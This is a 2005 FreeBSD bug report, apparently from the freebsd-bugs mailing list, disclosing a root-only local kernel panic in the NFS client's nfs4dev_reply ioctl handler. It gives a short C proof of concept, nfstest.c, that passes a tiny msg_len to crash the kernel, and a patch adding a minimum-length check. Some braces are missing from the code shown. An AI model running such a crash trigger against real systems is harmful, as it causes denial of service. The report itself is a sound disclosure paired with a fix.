kern/77463: [PATCH] Local DoS from user-space in NFS client (uid == 0 needed)

Wojciech A. Koszek dunstan at
Sun Feb 13 12:00:55 PST 2005

>Number:         77463
>Category:       kern
>Synopsis:       [PATCH] Local DoS from user-space in NFS client (uid == 0 needed)
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    freebsd-bugs
>State:          open
>Class:          sw-bug
>Submitter-Id:   current-users
>Arrival-Date:   Sun Feb 13 20:00:34 GMT 2005
>Originator:     Wojciech A. Koszek
>Release:        FreeBSD 5.3-STABLE i386
System: FreeBSD 5.3-STABLE FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005 root at i386

Tested on:
kern.ostype: FreeBSD
kern.osrelease: 5.3-STABLE
kern.osrevision: 199506
kern.version: FreeBSD 5.3-STABLE #0: Sat Feb 12 11:15:23 CET 2005
   root at
kern.ostype: FreeBSD
kern.osrelease: 6.0-CURRENT
kern.osrevision: 199506
kern.version: FreeBSD 6.0-CURRENT #2: Sat Feb 12 10:43:18 UTC 2005


There is a bug in NFS client code (/usr/src/sys/nfs4client/nfs4_dev.c,
function nfs4dev_reply(caddr_t addr)). This file is used to build nfsclient
and nfs4client. Both are vulnerable.
FreeBSD kernel panics when trying to call ioctl(fd, NFS4DEVIOCPUT, &m) where
m is pointer to nfs4dev_msg structure containg msg_len variable set to weird
values (1,2,3,...). These lengts doesn't make sense, since other data
(bigger than for example 1 byte) have to be kept in that structure. uid == 0
is needed (/dev/nfs4 has to be opened in read/write mode).


Make sure your system has NFS support. Line:
options         NFSCLIENT
Should appear in your kernel config file. You may also load nfs*client
support as kernel module:

# cd /usr/src/sys/modules/nfsclient && make load

After running attached code [nfstest.c] kernel will panic:
$ gcc nfstest.c -o nfstest

./nfstest <digit>

# ./nfstest 2


I've decided to limit minimal size of msg_len to sizeof(struct nfs4dev_msg) -
NFS4DEV_MSG_MAX_DATALEN (which is size of internal array placed in that
structure). Packet with smaller length doesn't make sense (we have to get
other values: msg_vers, msg_type, msg_len, but 1 byte is to small to handle

--- nfstest.c begins here ---
#include <sys/param.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include </sys/nfs4client/nfs4_dev.h>

main (int argc, char **argv)
	int fd;
	int error = 0;
	struct nfs4dev_msg m;
	if (argc < 2) {
		fprintf(stderr, "usage number\n");
	fd = open("/dev/nfs4", O_RDWR);
	if (fd == -1)

	bzero(&m ,sizeof(m));
	m.msg_vers =  NFS4DEV_VERSION;
	m.msg_type = 1; /* XXX You may change this */
	m.msg_len = atoi(*++argv);
	error = ioctl(fd, NFS4DEVIOCPUT, &m);
	if (error)
		errx(error, "ioctl!:%s\n", strerror(errno));
--- nfstest.c ends here ---

--- diff.0.nfs4client begins here ---

diff -upr /usr/src/sys/nfs4client/nfs4_dev.c src/sys/nfs4client/nfs4_dev.c
--- /usr/src/sys/nfs4client/nfs4_dev.c	Thu Nov 11 12:34:17 2004
+++ src/sys/nfs4client/nfs4_dev.c	Sun Nov 14 23:49:05 2004
@@ -152,11 +152,12 @@ nfs4dev_reply(caddr_t addr)
 		return EINVAL;
-	if (m->msg_len == 0 || m->msg_len > NFS4DEV_MSG_MAX_DATALEN) {
+	if (m->msg_len < sizeof(m) - NFS4DEV_MSG_MAX_DATALEN ||
+		m->msg_len > NFS4DEV_MSG_MAX_DATALEN) {
 	  	NFS4DEV_DEBUG("bad message length\n");
 		return EINVAL;
 	/* match the reply with a request */
 	TAILQ_FOREACH(u, &nfs4dev_waitq, up_entry) {
--- diff.0.nfs4client ends here ---


More information about the freebsd-bugs mailing list